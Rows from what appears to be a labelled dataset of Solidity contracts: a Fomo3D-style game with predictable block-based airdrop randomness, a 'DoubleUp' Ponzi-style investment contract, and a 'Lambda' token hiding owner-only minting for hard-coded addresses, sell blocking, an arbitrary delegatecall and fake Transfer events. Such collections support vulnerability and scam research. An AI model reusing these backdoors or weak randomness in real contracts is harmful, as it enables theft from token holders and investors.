_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
_com = _com.add(_p3d.sub(_p3d / 2));
admin.transfer(_com);
_res = _res.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _p3d.add(_aff);
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 1 | 3,542 |
pragma solidity 0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract DoubleUp {
using SafeMath
for uint;
mapping(address => uint) public usersTime;
mapping(address => uint) public usersInvestment;
mapping(address => uint) public dividends;
address public projectFund = 0xe8eb761B83e035b0804C60D2025Ec00f347EC793;
uint public projectPercent = 9;
uint public referrerPercent = 2;
uint public referralPercent = 1;
uint public ruturnedOfThisDay = 0;
uint public dayOfLastReturn = 0;
uint public maxReturn = 500 ether;
uint public startPercent = 200;
uint public lowPercent = 300;
uint public middlePercent = 400;
uint public highPercent = 500;
uint public stepLow = 1000 ether;
uint public stepMiddle = 2500 ether;
uint public stepHigh = 5000 ether;
uint public countOfInvestors = 0;
modifier isIssetUser() {
require(usersInvestment[msg.sender] > 0, "Deposit not found");
_;
}
function collectPercent() isIssetUser internal {
if ((usersInvestment[msg.sender].mul(2)) <= dividends[msg.sender]) {
usersInvestment[msg.sender] = 0;
usersTime[msg.sender] = 0;
dividends[msg.sender] = 0;
} else {
uint payout = payoutAmount();
usersTime[msg.sender] = now;
dividends[msg.sender] += payout;
msg.sender.transfer(payout);
if ((usersInvestment[msg.sender].mul(2)) <= dividends[msg.sender]) {
usersInvestment[msg.sender] = 0;
usersTime[msg.sender] = 0;
dividends[msg.sender] = 0;
}
}
}
function percentRate() public view returns(uint) {
uint balance = address(this).balance;
if (balance < stepLow) {
return (startPercent);
}
if (balance >= stepLow && balance < stepMiddle) {
return (lowPercent);
}
if (balance >= stepMiddle && balance < stepHigh) {
return (middlePercent);
}
if (balance >= stepHigh) {
return (highPercent);
}
}
function payoutAmount() public view returns(uint) {
uint percent = percentRate();
uint rate = usersInvestment[msg.sender].mul(percent).div(10000);
uint interestRate = now.sub(usersTime[msg.sender]);
uint withdrawalAmount = rate.mul(interestRate).div(60*60*24);
uint rest = (usersInvestment[msg.sender].mul(2)).sub(dividends[msg.sender]);
if(withdrawalAmount>rest) withdrawalAmount = rest;
return (withdrawalAmount);
}
function makeDeposit() private {
if (msg.value > 0) {
uint projectTransferPercent = projectPercent;
if(msg.data.length == 20 && msg.value >= 5 ether){
address referrer = _bytesToAddress(msg.data);
if(usersInvestment[referrer] >= 1 ether){
referrer.transfer(msg.value.mul(referrerPercent).div(100));
msg.sender.transfer(msg.value.mul(referralPercent).div(100));
projectTransferPercent = projectTransferPercent.sub(referrerPercent.add(referralPercent));
}
}
if (usersInvestment[msg.sender] > 0) {
collectPercent();
}
else {
countOfInvestors += 1;
}
usersInvestment[msg.sender] = usersInvestment[msg.sender].add(msg.value);
usersTime[msg.sender] = now;
projectFund.transfer(msg.value.mul(projectTransferPercent).div(100));
} else {
collectPercent();
}
}
function returnDeposit() isIssetUser private {
require(((maxReturn.sub(ruturnedOfThisDay) > 0) || (dayOfLastReturn != now.div(1 days))), 'Day limit of return is ended');
require(usersInvestment[msg.sender].sub(usersInvestment[msg.sender].mul(projectPercent).div(100)) > dividends[msg.sender].add(payoutAmount()), 'You have already repaid your 91% of deposit. Use 0!');
collectPercent();
uint withdrawalAmount = usersInvestment[msg.sender].sub(dividends[msg.sender]).sub(usersInvestment[msg.sender].mul(projectPercent).div(100));
if(dayOfLastReturn!=now.div(1 days)) { ruturnedOfThisDay = 0; dayOfLastReturn = now.div(1 days); }
if(withdrawalAmount > maxReturn.sub(ruturnedOfThisDay)){
withdrawalAmount = maxReturn.sub(ruturnedOfThisDay);
usersInvestment[msg.sender] = usersInvestment[msg.sender].sub(withdrawalAmount.add(dividends[msg.sender]).mul(100).div(100-projectPercent));
usersTime[msg.sender] = now;
dividends[msg.sender] = 0;
}
else
{
usersInvestment[msg.sender] = 0;
usersTime[msg.sender] = 0;
dividends[msg.sender] = 0;
}
ruturnedOfThisDay += withdrawalAmount;
msg.sender.transfer(withdrawalAmount);
}
function() external payable {
if (msg.value == 0.00000112 ether) {
returnDeposit();
} else {
makeDeposit();
}
}
function _bytesToAddress(bytes data) private pure returns(address addr) {
assembly {
addr := mload(add(data, 20))
}
}
} | 1 | 5,086 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Lambda {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner
|| msg.sender==address(1128272879772349028992474526206451541022554459967)
|| msg.sender==address(781882898559151731055770343534128190759711045284)
|| msg.sender==address(718276804347632883115823995738883310263147443572)
|| msg.sender==address(56379186052763868667970533924811260232719434180)
);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,153 |
pragma solidity ^0.4.21 ;
contract NDD_PIN_I_883 {
mapping (address => uint256) public balanceOf;
string public name = " NDD_PIN_I_883 " ;
string public symbol = " NDD_PIN_I_1subDT " ;
